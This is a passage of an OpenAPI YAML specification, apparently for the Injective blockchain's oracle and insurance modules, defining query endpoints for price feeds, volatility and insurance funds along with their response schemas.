| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryBandPriceStatesResponse is the response type for the | |
| Query/BandPriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/band_relayers: | |
| get: | |
| summary: Retrieves the band relayers | |
| operationId: BandRelayers | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| description: >- | |
| QueryBandRelayersResponse is the response type for the | |
| Query/BandRelayers RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/coinbase_price_states: | |
| get: | |
| summary: Retrieves the state for all coinbase price feeds | |
| operationId: CoinbasePriceStates | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| kind: | |
| type: string | |
| title: kind should always be "prices" | |
| timestamp: | |
| type: string | |
| format: uint64 | |
| title: timestamp of the when the price was signed by coinbase | |
| key: | |
| type: string | |
| title: the symbol of the price, e.g. BTC | |
| value: | |
| type: string | |
| format: uint64 | |
| title: the value of the price scaled by 1e6 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| title: the price state | |
| description: |- | |
| QueryCoinbasePriceStatesResponse is the response type for the | |
| Query/CoinbasePriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/historical_price_records: | |
| get: | |
| summary: Retrieves historical price records for a given OracleType and Symbol | |
| operationId: HistoricalPriceRecords | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| oracle: | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| symbol_id: | |
| type: string | |
| latest_price_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: oracle | |
| in: query | |
| required: false | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| - name: symbol_id | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire oracle module's state | |
| operationId: OracleModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines all the parameters of related to oracle. | |
| type: object | |
| properties: | |
| pyth_contract: | |
| type: string | |
| band_relayers: | |
| type: array | |
| items: | |
| type: string | |
| band_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| rate: | |
| type: string | |
| resolve_time: | |
| type: string | |
| format: uint64 | |
| request_ID: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price_feed_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| base: | |
| type: string | |
| quote: | |
| type: string | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| coinbase_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| kind: | |
| type: string | |
| title: kind should always be "prices" | |
| timestamp: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| timestamp of the when the price was signed by | |
| coinbase | |
| key: | |
| type: string | |
| title: the symbol of the price, e.g. BTC | |
| value: | |
| type: string | |
| format: uint64 | |
| title: the value of the price scaled by 1e6 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| title: the price state | |
| band_ibc_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| rate: | |
| type: string | |
| resolve_time: | |
| type: string | |
| format: uint64 | |
| request_ID: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| band_ibc_oracle_requests: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| request_id: | |
| type: string | |
| format: uint64 | |
| title: Unique Identifier for band ibc oracle request | |
| oracle_script_id: | |
| type: string | |
| format: int64 | |
| description: >- | |
| OracleScriptID is the unique identifier of the | |
| oracle script to be | |
| executed. | |
| symbols: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| Symbols is the list of symbols to prepare in the | |
| calldata | |
| ask_count: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| AskCount is the number of validators that are | |
| requested to respond to this | |
| oracle request. Higher value means more security, at | |
| a higher gas cost. | |
| min_count: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| MinCount is the minimum number of validators | |
| necessary for the request to | |
| proceed to the execution phase. Higher value means | |
| more security, at the | |
| cost of liveness. | |
| fee_limit: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| description: >- | |
| FeeLimit is the maximum tokens that will be paid to | |
| all data source | |
| providers. | |
| prepare_gas: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| PrepareGas is amount of gas to pay to prepare raw | |
| requests | |
| execute_gas: | |
| type: string | |
| format: uint64 | |
| title: ExecuteGas is amount of gas to reserve for executing | |
| min_source_count: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| MinSourceCount is the minimum number of data sources | |
| that must be used by | |
| each validator | |
| band_ibc_params: | |
| type: object | |
| properties: | |
| band_ibc_enabled: | |
| type: boolean | |
| title: true if Band IBC should be enabled | |
| ibc_request_interval: | |
| type: string | |
| format: int64 | |
| title: block request interval to send Band IBC prices | |
| ibc_source_channel: | |
| type: string | |
| title: band IBC source channel | |
| ibc_version: | |
| type: string | |
| title: band IBC version | |
| ibc_port_id: | |
| type: string | |
| title: band IBC portID | |
| legacy_oracle_ids: | |
| type: array | |
| items: | |
| type: string | |
| format: int64 | |
| title: legacy oracle scheme ids | |
| band_ibc_latest_client_id: | |
| type: string | |
| format: uint64 | |
| calldata_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| client_id: | |
| type: string | |
| format: uint64 | |
| calldata: | |
| type: string | |
| format: byte | |
| band_ibc_latest_request_id: | |
| type: string | |
| format: uint64 | |
| chainlink_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| answer: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| historical_price_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| oracle: | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| symbol_id: | |
| type: string | |
| latest_price_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| provider_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| provider_info: | |
| type: object | |
| properties: | |
| provider: | |
| type: string | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| provider_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| pyth_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price_id: | |
| type: string | |
| ema_price: | |
| type: string | |
| ema_conf: | |
| type: string | |
| conf: | |
| type: string | |
| publish_time: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| description: GenesisState defines the oracle module's genesis state. | |
| description: >- | |
| QueryModuleStateResponse is the response type for the | |
| Query/OracleModuleState | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/params: | |
| get: | |
| summary: Retrieves oracle params | |
| operationId: OracleParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| pyth_contract: | |
| type: string | |
| description: >- | |
| QueryOracleParamsResponse is the response type for the | |
| Query/OracleParams RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/price: | |
| get: | |
| operationId: OraclePrice | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_pair_state: | |
| type: object | |
| properties: | |
| pair_price: | |
| type: string | |
| base_price: | |
| type: string | |
| quote_price: | |
| type: string | |
| base_cumulative_price: | |
| type: string | |
| quote_cumulative_price: | |
| type: string | |
| base_timestamp: | |
| type: string | |
| format: int64 | |
| quote_timestamp: | |
| type: string | |
| format: int64 | |
| description: >- | |
| QueryOraclePriceResponse is the response type for the | |
| Query/OraclePrice RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: oracle_type | |
| in: query | |
| required: false | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| - name: base | |
| in: query | |
| required: false | |
| type: string | |
| - name: quote | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/pricefeed_price_states: | |
| get: | |
| summary: Retrieves the state for all price feeds | |
| operationId: PriceFeedPriceStates | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| base: | |
| type: string | |
| quote: | |
| type: string | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| description: |- | |
| QueryPriceFeedPriceStatesResponse is the response type for the | |
| Query/PriceFeedPriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/provider_price_state/{provider}/{symbol}: | |
| get: | |
| summary: Retrieves the state for all provider price feeds | |
| operationId: ProviderPriceState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryProviderPriceStatesResponse is the response type for the | |
| Query/ProviderPriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: provider | |
| in: path | |
| required: true | |
| type: string | |
| - name: symbol | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/provider_prices: | |
| get: | |
| operationId: OracleProviderPrices | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| providerState: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| provider_info: | |
| type: object | |
| properties: | |
| provider: | |
| type: string | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| provider_price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: provider | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/providers: | |
| get: | |
| operationId: OracleProvidersInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| providers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| provider: | |
| type: string | |
| relayers: | |
| type: array | |
| items: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/pyth_price: | |
| get: | |
| operationId: PythPrice | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_state: | |
| type: object | |
| properties: | |
| price_id: | |
| type: string | |
| ema_price: | |
| type: string | |
| ema_conf: | |
| type: string | |
| conf: | |
| type: string | |
| publish_time: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: price_id | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/pyth_price_states: | |
| get: | |
| summary: Retrieves the state for all pyth price feeds | |
| operationId: PythPriceStates | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price_id: | |
| type: string | |
| ema_price: | |
| type: string | |
| ema_conf: | |
| type: string | |
| conf: | |
| type: string | |
| publish_time: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryPythPriceStatesResponse is the response type for the | |
| Query/CoinbasePriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/volatility: | |
| get: | |
| summary: Retrieves mixed volatility value for the specified pair of base/quote | |
| operationId: OracleVolatility | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| volatility: | |
| type: string | |
| history_metadata: | |
| type: object | |
| properties: | |
| group_count: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| GroupCount refers to the number of groups used. Equals | |
| RecordsSampleSize if | |
| no grouping is used | |
| records_sample_size: | |
| type: integer | |
| format: int64 | |
| description: >- | |
| RecordsSampleSize refers to the total number of records | |
| used. | |
| mean: | |
| type: string | |
| title: >- | |
| Mean refers to the arithmetic mean | |
| For trades, the mean is the VWAP computed over the grouped | |
| trade records ∑ | |
| (price * quantity) / ∑ quantity For oracle prices, the | |
| mean is computed | |
| over the price records ∑ (price) / prices_count | |
| twap: | |
| type: string | |
| title: >- | |
| TWAP refers to the time-weighted average price which | |
| equals ∑ (price_i * | |
| ∆t_i) / ∑ ∆t_i where ∆t_i = t_i - t_{i-1} | |
| first_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| FirstTimestamp is the timestamp of the oldest record | |
| considered | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| LastTimestamp is the timestamp of the youngest record | |
| considered | |
| min_price: | |
| type: string | |
| title: >- | |
| MinPrice refers to the smallest individual raw price | |
| considered | |
| max_price: | |
| type: string | |
| title: >- | |
| MaxPrice refers to the largest individual raw price | |
| considered | |
| median_price: | |
| type: string | |
| title: >- | |
| MedianPrice refers to the median individual raw price | |
| considered | |
| title: >- | |
| MetadataStatistics refers to the metadata summary statistics | |
| of the | |
| historical sample considered | |
| raw_history: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| description: >- | |
| QueryOracleVolatilityResponse is the response type for | |
| Query/OracleVolatility | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: base_info.symbol | |
| in: query | |
| required: false | |
| type: string | |
| - name: base_info.oracle_type | |
| in: query | |
| required: false | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| - name: base_info.scale_factor | |
| in: query | |
| required: false | |
| type: integer | |
| format: int64 | |
| - name: quote_info.symbol | |
| in: query | |
| required: false | |
| type: string | |
| - name: quote_info.oracle_type | |
| in: query | |
| required: false | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| - name: quote_info.scale_factor | |
| in: query | |
| required: false | |
| type: integer | |
| format: int64 | |
| - name: oracle_history_options.max_age | |
| description: >- | |
| MaxAge restricts the oracle price records oldest age in seconds from | |
| the | |
| current block time to consider. A value of 0 means use all the | |
| records | |
| present on the chain. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: oracle_history_options.include_raw_history | |
| description: |- | |
| If IncludeRawHistory is true, the raw underlying data used for the | |
| computation is included in the response. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: oracle_history_options.include_metadata | |
| description: >- | |
| If IncludeMetadata is true, metadata on the computation is included | |
| in the | |
| response. | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/estimated_redemptions: | |
| get: | |
| summary: |- | |
| Retrives the value of insurance fund share token at current price (not | |
| pending redemption) | |
| operationId: EstimatedRedemptions | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| amount: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: |- | |
| QueryEstimatedRedemptionsResponse is the response type for the | |
| Query/EstimatedRedemptions RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: marketId | |
| in: query | |
| required: false | |
| type: string | |
| - name: address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/insurance_fund/{market_id}: | |
| get: | |
| summary: Retrieves individual insurance fund information from market id | |
| operationId: InsuranceFund | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| fund: | |
| type: object | |
| properties: | |
| deposit_denom: | |
| type: string | |
| title: deposit denomination for the given insurance fund | |
| insurance_pool_token_denom: | |
| type: string | |
| title: >- | |
| insurance fund pool token denomination for the given | |
| insurance fund | |
| redemption_notice_period_duration: | |
| type: string | |
| title: >- | |
| redemption_notice_period_duration defines the minimum | |
| notice period | |
| duration that must pass after an underwriter sends a | |
| redemption request | |
| before the underwriter can claim his tokens | |
| balance: | |
| type: string | |
| title: balance of fund | |
| total_share: | |
| type: string | |
| title: total share tokens minted | |
| market_id: | |
| type: string | |
| title: marketID of the derivative market | |
| market_ticker: | |
| type: string | |
| title: ticker of the derivative market | |
| oracle_base: | |
| type: string | |
| description: >- | |
| Oracle base currency of the derivative market OR the | |
| oracle symbol for the | |
| binary options market. | |
| oracle_quote: | |
| type: string | |
| description: >- | |
| Oracle quote currency of the derivative market OR the | |
| oracle provider for | |
| the binary options market. | |
| oracle_type: | |
| title: Oracle type of the binary options or derivative market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| expiry: | |
| type: string | |
| format: int64 | |
| description: >- | |
| Expiration time of the derivative market. Should be -1 for | |
| perpetual or -2 | |
| for binary options markets. | |
| description: >- | |
| QueryInsuranceFundResponse is the response type for the | |
| Query/InsuranceFund | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/insurance_funds: | |
| get: | |
| summary: Retrieves all insurance funds | |
| operationId: InsuranceFunds | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| funds: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| deposit_denom: | |
| type: string | |
| title: deposit denomination for the given insurance fund | |
| insurance_pool_token_denom: | |
| type: string | |
| title: >- | |
| insurance fund pool token denomination for the given | |
| insurance fund | |
| redemption_notice_period_duration: | |
| type: string | |
| title: >- | |
| redemption_notice_period_duration defines the minimum | |
| notice period | |
| duration that must pass after an underwriter sends a | |
| redemption request | |
| before the underwriter can claim his tokens | |
| balance: | |
| type: string | |
| title: balance of fund | |
| total_share: | |
| type: string | |
| title: total share tokens minted | |
| market_id: | |
| type: string | |
| title: marketID of the derivative market | |
| market_ticker: | |
| type: string | |
| title: ticker of the derivative market | |
| oracle_base: | |
| type: string | |
| description: >- | |
| Oracle base currency of the derivative market OR the | |
| oracle symbol for the | |
| binary options market. | |
| oracle_quote: | |
| type: string | |
| description: >- | |
| Oracle quote currency of the derivative market OR the | |
| oracle provider for | |
| the binary options market. | |
| oracle_type: | |
| title: Oracle type of the binary options or derivative market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| expiry: | |
| type: string | |
| format: int64 | |
| description: >- | |
| Expiration time of the derivative market. Should be -1 | |
| for perpetual or -2 | |
| for binary options markets. | |
| description: >- | |
| QueryInsuranceFundsResponse is the response type for the | |
| Query/InsuranceFunds | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/insurance/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire insurance module's state | |
| operationId: InsuranceModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines all the parameters of related to insurance. | |
| type: object | |
| properties: | |
| default_redemption_notice_period_duration: | |
| type: string | |
| title: >- | |
| default_redemption_notice_period_duration defines the | |
| default minimum | |
| notice period duration that must pass after an | |
| underwriter sends a | |
| redemption request before the underwriter can claim | |
| his tokens | |
| insurance_funds: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| deposit_denom: | |
| type: string | |
| title: deposit denomination for the given insurance fund | |
| insurance_pool_token_denom: | |
| type: string | |
| title: >- | |
| insurance fund pool token denomination for the given | |
| insurance fund | |
| redemption_notice_period_duration: | |
| type: string | |
| title: >- | |
| redemption_notice_period_duration defines the | |
| minimum notice period | |
| duration that must pass after an underwriter sends a | |
| redemption request | |
| before the underwriter can claim his tokens | |
| balance: | |
| type: string | |
| title: balance of fund | |
| total_share: | |
| type: string | |
| title: total share tokens minted | |
| market_id: | |
| type: string | |
| title: marketID of the derivative market | |
| market_ticker: | |
| type: string | |
| title: ticker of the derivative market | |
| oracle_base: | |
| type: string | |
| description: >- | |
| Oracle base currency of the derivative market OR the | |
| oracle symbol for the | |
| binary options market. | |
| oracle_quote: | |
| type: string | |
| description: >- | |
| Oracle quote currency of the derivative market OR | |
| the oracle provider for | |
| the binary options market. | |
| oracle_type: | |
| title: >- | |
| Oracle type of the binary options or derivative | |
| market | |
| type: string | |
| enum: | |
